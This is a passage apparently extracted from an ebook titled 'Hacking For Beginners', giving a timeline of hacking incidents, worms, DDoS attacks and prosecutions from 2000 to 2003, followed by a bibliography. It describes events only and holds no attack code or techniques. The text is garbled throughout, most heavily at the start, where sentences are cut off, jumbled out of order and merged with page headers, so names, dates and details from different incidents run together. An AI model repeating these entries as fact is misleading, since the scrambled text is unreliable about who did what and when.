Arlington.com. address and the credit card number used to open the account.hackingtech. [2000 Jun 1] Qualcomm in San Diego hacked by University of Wisconsin-Madison student Jerome Heckenkamp ('MagicFX'). and top company executives just to show it could be done. confirmed that records for more than 500 so-called screen names of its customers had been hacked. [2000 Feb 9] Two days later the DDoS attacks continued. including military scientists. 2000s [2000 Jan 15] 19-year-old Raphael Gray ('Curador') steals over 23. [1999 Nov] 15-year-old Norwegian. [2000 Jul 7] Utilities firm Powergen located in the UK was forced to ask thousands of its customers to cancel credit cards after a web site blunder left a database of card details exposed. [2000 Jun 15] An Information Technology consultant breached the security of British internet service provider Redhotant to expose security lapses. as he hacked into U.persecond flood of IP packet requests from "zombie" servers which knocked Yahoo off. Michael Buen & Onel de Guzman are suspected of writing the virus. [2000 Jul 18] AOL . He managed to obtain the names.. On Jan.
S. On February 4.000. and Latitude Communications and holding conference calls between 1997 and May 1999 with other hackers around the country. from republishing software hacks that circumvent DVD industry encryptions. In a statement he made to investigators.529. and University of California campuses in Los Angeles and San Diego. prosecutors said. [2000 Oct] Microsoft admits that its corporate network has been hacked and source code for future Windows products has been seen. a high school dropout who has said he wants to start his own computer security business. three years supervised release. www. Additionally. including systems at JPL. Stanford . including Harvard University. including the White House and the U. spent two years victimizing American businesses. [2000 Oct 10] FBI lure 2 Russian hackers to their arrest in Seattle. They leased office space in downtown Seattle and immediately called Ivanov in Russia about possible employment as a hacker. AntiOnline was deemed "unhackable" by the sites owner. Raymond Torricelli ('rolex') was a member of the hacking group '#conflict' which used their computers to electronically alter the results of the annual MTV Movie Awards . [2000 Sep 26] Jason Diekman ('Shadow Knight'. The men agreed to a face. fittingly enough. corporations and government entities.to.86 in restitution.com. maybe thousands" of computers. over 76. Harvard . after it was determined that Alexei Ivanov.000 numbers were stolen from Creditcards.000 of them were posted online when an extortion payment was not made.co.00 fine. but a poorly coded cgi script(s) written by Vranesevich led to the hack. The code would enable movies to be more readily copied and exchanged as data files on the Internet. The hackers happily complied and communicated with their home server back in Chelyabinsk. John Vranesevich . Hacker suspeted to be from St Petersburg. The FBI communicated with Gorshkov and Ivanov. [2000 Sep 5] A 21-year-old New Rochelle. publisher of 2600 magazine . 20. Invita. unaware that the laptop they were using was running a "sniffer" program that recorded their every keystroke.S.000 discrete passwords were found on Raymond's personal computer. Internet service provider after hacking into its servers. Diekman was sentenced to 21 months in federal prison. age 20. and was ordered to pay $154.5 million in damages to various U.tv Page 250 . About 25. admits in a plea agreement to stealing telephone conferencing services from AT&T . At one point in the meeting. [2000 Sep 6] Patrick W. who were interested in using unauthorized access devices to fraudulently obtain cellular telephone service through cloned cellular telephones or long distance telephone service through stolen calling card numbers. Gregory.000 in restitution. New York man was sentenced to four months in prison for breaking into two computers owned by NASA's Jet Propulsion Laboratory in 1998 and using one to host Internet chat rooms devoted to hacking. which processes credit transactions for online companies. the California State University at Fullerton. 10. Army . Cornell University. Diekman admitted that he had hacked into "hundreds. The Russians were asked to further demonstrate their hacking skills on an IBM Thinkpad provided by the agents. as Gorshkov glibly detailed how he and Ivanov extorted money from a U. three years supervised release.S. but also somewhat cocky about their hacking skills. [2000 Nov 7] A 19-year-old Dutch hacker named 'Dimitri' broke in to Microsoft 's internal web servers with intentions to show the company its vulnerability due to not installing their own patches. and Vasiliy Gorshkov. Gregory ('MostHateD'). he told the room of undercover agents that "the FBI could not get them in Russia.face meeting and on Nov.Hacking For Beginners – Manthan Desai 2010 imprisonment and ordered to pay a $3. GlobalHell is said to have caused at least $1. 'Dark Lord') arrested after Federal agents discovered evidence on Diekman ' s computers indicating that he intercepted usernames and passwords from universities. The FBI agents' descriptions of the meeting portray Ivanov and Gorshkov as not only blissfully ignorant of their impending arrest. 25.hackingtech. restricted use of the computer and over $87." [2000 Oct 28] After 9 million hack attempts security web site AntiOnline is defaced by Australian hacker 'ron1n' ('n1nor'). Gorshkov and Ivanov flew to Seattle and went directly to a two-hour "job interview" with undercover FBI agents who were posing as Invita staff. by e-mail and telephone during the summer and fall of 2000. Miffleton associated himself with a group known as "the Darkside Hackers". 2002. The FBI established a bogus computer security firm that they named. pled guilty for his role as a founding member of a hacking ring called GlobalHell and is sentenced to 26 months imprisonment. [2000 Aug 17] United States District Judge Lewis Kaplan in New York bars Eric Corley ('Emmanuel Goldstein'). MCI . [2000 Dec 13] More than 55.
S. New York was convicted and sentenced to 27 months in Manhattan federal court on charges of computer hacking and electronic eavesdropping of victim company Five Partners Asset Management LLC ("Five Partners"). [2001 Jun 9] Los Angeles Times newspaper reports that hackers attacked a computer system that controls much of the flow of electricity across California ' s power grid for seventeen days or more during the state' s worse days of the power crisis. [2001 Jun 15] Christine Gunhus." [2001 May 1] Chinese and U. personal cell phone numbers and information concerning passports and travel arrangements for a number of government and business leaders.S. I have just hacked into your system. [2001 Feb 1] Hackers invade World Economic Forum. According to the Times. he was an FBI informant. Oquendo left the victim a taunting message on its network: "Hello. As 'The Equalizer'. age 27. pleads no contest to charges of using a pseudonym to send e-mail messages that disparaged her husband's Democratic rival. reporting on the activities of other hackers." attempting to break into corporate networks to prove that their security wasn't as good as it could be.Hacking For Beginners – Manthan Desai 2010 [2000 Dec 24] Exigent International .hackingtech.S. spy plane that had to make an emergency landing in China after the U. senator.S. U. he was an incredibly skilled hacker and security expert who boasted that he'd never met a computer system he couldn't crack. At Max Vision Network Security. Air Force has plans to use the OS/COMET software to control the NAVSTAR Global Positioning System from its Colorado Springs Monitor Station. As Max Butler.tv Page 251 . California who ran a Silicon Valley security firm.S. As 'Max Vision'. April 25.S. e-commerce and banking websites. hackers attack each other because of the U. and then scans for IIS machines susceptible to the folder traversal vulnerability and then replaces the default web page. then simply because it was fun. at first due to a mistaken belief that Steve Gibson had called him a name.org and SourceForge. The compromised data included credit card numbers. have stolen more than one million credit card numbers from U. [2001 May 4] Gibson Security Research Corp came under attack (DDOS) and taken off. Palestinian Authority chairman Yasser Arafat.net . Secretary-General Kofi Annan. [2001 May 17] 'Fluffy Bunny' hacker group hacks Apache. states were cracked by eastern Europe hackers. Secretary of State Madeline Albright and former Israeli Prime Minister Shimon Peres. Max Butler also lived three lives for five years.S. a venture capital company based in Manhattan.control personnel to communicate and send commands to satellites and rockets. The attack appears to have primarily by an individual associated to China ' s Guangdong province and routed through China Telecom. May 11 and that it was determined that attackes began as early as Wednesday. [2001 May 15] Hackers attack University of Washington and put file sharing program on its computers. security company ZixIt reported that a database holding details of customers' credit cards had been hacked. acknowledged that one or more cyberthieves broke into a restricted federal computer system and stole the company's proprietary code for controlling satellite systems. [2001 Jun 20] U. known as OS/COMET. [2001 Feb 12] Anna Kournikova virus released by 20-year-old Dutchman Jan de Wit ('OnTheFly') who was later arrested and sentenced to 150 hours of community service.S.N. www. [2001 Mar 7] Jesus Oquendo ('Sil'). allows ground.line by a 13-year-old hacker. he specialized in running "penetration tests. [2001 May 11] Solaris/IIS worm infects Solaris boxes up to version 7. The software.co.S. he was a family man in Santa Clara. Have a nice day. former U. plane collides with and kills Chinese fighter pilotWang Wei .S. of Queens. The 17-day intrusion into the networks running California's leading electric power grid has caused considerable concern among state and federal bureaucrats. Among the notable victims whose personal information was pilfered were Microsoft chairman Bill Gates . a U. the discover was ade on Friday. government contractor. which is part of the Air Force Space Command. The U. [2002 May 21] Max Butler ('Max Vision' and 'The Equalizer') was sentenced to 18 months in prison for launching an Internet worm that crawled through hundreds of military and defense contractor computers over a few days in 1998. [2001 Mar 1] FBI reports that 40 e-commerce sites located in 20 U. the wife of an U.
according to records maintained by the company.Hacking For Beginners – Manthan Desai 2010 [2001 Jul 12] Notorious hacker group World of Hell managed to deface 679 web sites in just one minute. [2001 Dec 8] Federal prosecutors accuse one time Los Alamos National Laboratory employee Jerome Heckenkamp of breaking into Qualcomm and other corporate computer systems while he was a student. after developers noticed that the checksum of the package had changed. and E*Trade Inc. The hacking group 'ingreslock 1524' claim responsibility. Court records say Heckenkamp chuckled when he gave it up. Rlogin. They were all members of two hacking groups.. free version of the SSH (Secure Shell) communications suite and is used as a secure replacement for protocols such as Telnet. from Belgium. The worm got its name from "Code Red" Mountain Dew which was used to stay awake by the hackers that disassembled the exploit. and Ftp.openbsd. While ForensicTec officials said they wanted to help the government and "get some positive exposure for themselves. [2002 Jul 25] Princeton University admissions officials gained unauthorized access to a web site at rival Yale University containing personal information about applicants to the Ivy League school. according to officials at both institutions. e-mail. [2001 Jul 17] Code Red worm is released. [2001 Jul 16] 27-year old Russian programmer Dmitry Sklyarov arrested at Def Con 9 for creating a program to copy Adobe electronic books. NASA and other government facilities. as part of the agreement. He was charged with violating the 1998 Digital Millennium Copyright Act. calling herself 'Gigabyte' takes credit for writing the first-ever virus. over a nine-month period. [2001 Nov 20] 25 church web sites hacked by Hacking for Satan group. including attacks on the U. written in Microsoft's newest programming language C# (C sharp). When school police asked for the password for his personal computer. [2002 Aug 17] Federal law enforcement authorities searched the computers of a San Diego security firm that used the Internet to access government and military computers without authorization over the summer. including eBay Inc. they say called himself 'MagicFX'. [2001 Nov 26] 2 former Cisco accountants sentenced to 34 months for breaking into company computers and stealing stock." authorities are pursuing the matter as a criminal case. Rsh.org) mirror was compromised. Army and Navy and the National Aeronautics and Space Administration. [2002 Feb 25] A 17-year-old female hacker. The worm exploits vulnerabilities in theMicrosoft Internet Information Server IIS. Social Security numbers and financial data. "Hackme.based Riggs bank has its Visa customer database stolen by hackers. the company that sells the copying software. www." he told them.hackingtech. called Mentor and Reservoir Dogs .co. [2002 Jul 11] Hackers broke into USA Today's web site and replaced several of the newspaper's legitimate news stories with phony articles. [2001 Sep 18] Nimda worm (admin backwards) starts to spread. seeking details about how the company gained access to computers at Fort Hood in Texas and at the Energy Department. infecting Microsoft IIS servers that are open to known software vulnerabilities. [2001 Aug 21] Washington.S. [2002 Jul 30] Copies of OpenSSH are trojaned. the Army and NASA visited the offices of ForensicTec Solutions Inc. Heckenkamp. [2002 Aug 2] Italian police arrest 14 suspected hackers who are accused of thousands of computer intrusions. OpenSSH is a popular. The searches began hours after it was reported that ForensicTec consultants used free software to identify vulnerable computers and then peruse hundreds of confidential files containing military procedures. Investigators from the FBI. called 'Sharpei'. Israeli hackers were suspeted. Demitry was later released. Sklyarov will testify for the government in the case that remains against ElcomSoft . Jerome is also suspected of hacking into a halfdozen other companies.com's credit card data.tv Page 252 . [2001 Nov 20] Hackers access Playboy. The main openBSD (ftp.
long investigation into the creation of the Linux rootkit program called Tornkit and on suspicion of being a member of the infamous hacker group Fluffy Bunny. 22. 27. Prosecutors said that McKinnon "stole passwords. Russian software company. www.Hacking For Beginners – Manthan Desai 2010 [2002 Aug 28] The Recording Industry Association of America's (RIAA) web site is defaced . The security breach took place on a server that hosts Microsoft's Windows beta community. fraud and related computer crimes. a 52-year-old Taiwanese woman who pleaded no contest in one of the largest software piracy cases in the U. is sentenced to 18 months for hacking into a firm's database and modifying information. 36. is sentenced to three years in prison for convictions on 20 counts of conspiracy. The RIAA along with the Motion Picture Association of America (MPAA). a British Web designer was sentenced to two years in prison for writing one of the world's most destructive viruses which wiped out computers worldwide. [2002 Oct 21] A distributed denial-of-service (Dee-Dos) attack. and copyrighted mp3s are uploaded to the server. Gorshkov is also ordered to pay restitution of nearly $700. software that Chen smuggled from Taiwan. From February 2001 until March 2002. [2002 Nov 22] Lisa Chen. [2002 Dec 17] A jury acquitted ElcomSoft. one of the longest sentences ever for a case involving software piracy. was sentenced to nine years in prison.000 in damage overall."Gokar.co. [2002 Sep 23] A UK hacker received an 18-month prison sentence for corporate sabotage.12. [2003 Jan 21] Computer hacker Kevin Mitnick is goes online for the first time in nearly a decade. [2002 Oct 4] Hacker Vasily Gorshkov.6. a controversial law designed to extend copyright protections into the digital age.tv Page 253 . [2003 Jan 21] Simon Vallor . deleted files. Sussex. which caused an estimated $900. an unemployed British sysadmin was indicted for what US authorities describe as the "biggest hack of military computers ever detected". Chen was arrested along with three associates in November 2001 after local sheriffs seized hundreds of thousands of copies of pirated software worth more than $75 million.hackingtech.secured Windows systems to attack 92 networks run by NASA .000 for losses he caused to Speakeasy Network of Seattle. Vallor was the author of 3 viruses -. the Pentagon and 12 other military installation scattered over 14 states. The prison term was followed by another three and a half years of restrictions regarding Mitnick's access to computers and the Internet."Gokar" spread the most widely and was at one point ranked as the third most prevalent virus of all time. [2002 Nov 12] Gary McKinnon ('Solo')." "Redesi. The attack was in the form of an ICMP flood. of Chelyabinsk. preventing any real loss of network performance. has won many critics online in its quest to shut down popular file. [2002 Oct 8] CERT (Computer Emergency Response Team) advisory is released detailing the discovery of a back door (trojan horse) found in the source code files of Sendmail 8. [2002 Sep 20] Samir Rana ('Torner') a 21 year-old London hacker is arrested following a year. which was blocked by many of the root servers. McKinnon allegedly exploited poorly. lasting one hour. of criminal copyright charges related to selling a program that can crack antipiracy protections on electronic books. He was captured in a raid and sent to jail for almost five years for computer crimes against companies including Sun Microsystems and Motorola . a 28-year-old computer engineer from Eastbourne. Stephen Carey.000 Windows users a chance to test software that is still in development. sent a barrage of data at the13 domainname service root servers. which allows more than 20. It was later reporter that Rana owned the pink stuffed toy depicted in website defacements by Fluffy Bunny. The case against ElcomSoft is considered a crucial test of the criminal provisions of the Digital Millennium Copyright Act (DMCA).S. [2002 Oct 16] Microsoft admits to being hacked. of London.trading networks such as Napster . and the online credit card payment company PayPal . Russia. Private sector businesses were also affected by the alleged attacks." and "Admirer" -. monitored traffic and shut down computer networks on military bases from Pearl Harbour to Connecticut".
Law enforcement and Internet security professionals said they believe Htun is the mastermind of the "Fluffi Bunni " hacking exploits.. flag. were sentenced to nine years in jail after pleading guilty to 72 counts of illegally entering a computer system and editing data. [2003 Apr 29] New Scotland Yard said Wednesday they arrested 24-year-old Lynn Htun at a London convention center. 24. He was later indicted on charges he placed software on dozens of computers that allowed him to secretly monitor what people were typing. 21.000 students and faculty from insecure database servers at the University of Texas at Austin.Defensive Thinking . [2003 Feb 18] It's reported that a hacker ("unauthorized intruder") gained access to some 8 million credit card account numbers —including Visa. [2003 Mar 7] Online attackers stole information on more than 55.S. The widely publicised hacking contest which encouraged vandals to deface websites ended without causing serious trouble. Both William Grace. Calif. John carried out this attack on the alJazeera Web site during the Iraq war because the Arab satellite TV network had shown pictures of dead and captured American soldiers. downloaded files and banked online. the site of InfoSecurity Europe 2003.000 using information he gleaned. and Brandon Wilson.Hacking For Beginners – Manthan Desai 2010 [2003 Feb 6] Douglas Boudreau.-broke into the Web server of the former hacker's security start-up.co. MasterCard and American Express —by breaching the security of a company that processes transactions for merchants.hackingtech.000 Web sites in six hours. The assault is being billed as a contest to see who can deface 6. [2003 Feb 7] Two hackers who broke into Riverside County. hacking into sites ranging from those ofMcDonalds Corp to Internet security specialists SANS Institute and Symantec Corp's virus detection group SecurityFocus .tv Page 254 . and then stole around $2. court computers and electronically dismissed a variety of pending cases plead guilty to the crime. admitted diverting traffic and e-mails from al-Jazeera's Arabic Web site to a site he had designed called "Let Freedom Ring" and bearing the U. the card companies said. 28. along with seven counts of conspiracy to commit extortion [2003 Feb 10] Twice in the past two weeks.-like the ones who tagged many Web sites with"Free Kevin!" graffiti during Mitnick's time in prison. 22. [2003 Jul 6] Internet experts brace for hacker contest. [2003 Jun 12] Web designer John Racine II. allegedly installed keystroke monitoring software on more than 100 computers at Boston College and then watched as thousands of people sent e-mail. online vandals. www.
com www. www.tv Page 255 . Now you are capable of securing your own and your surrounding computers from the Threat we called "HACKING".google.wikipedia.hackingtech.co.tv www. www.Hacking For Beginners – Manthan Desai 2010 Bibliography Thanks For reading this book and I hope the contents described in this book will help you to know the minds of hackers.com And various blogs for images and tips.hackingtech.co.
This action might not be possible to undo. Are you sure you want to continue?
We've moved you to where you read on your other device.
Get the full title to continue listening from where you left off, or restart the preview.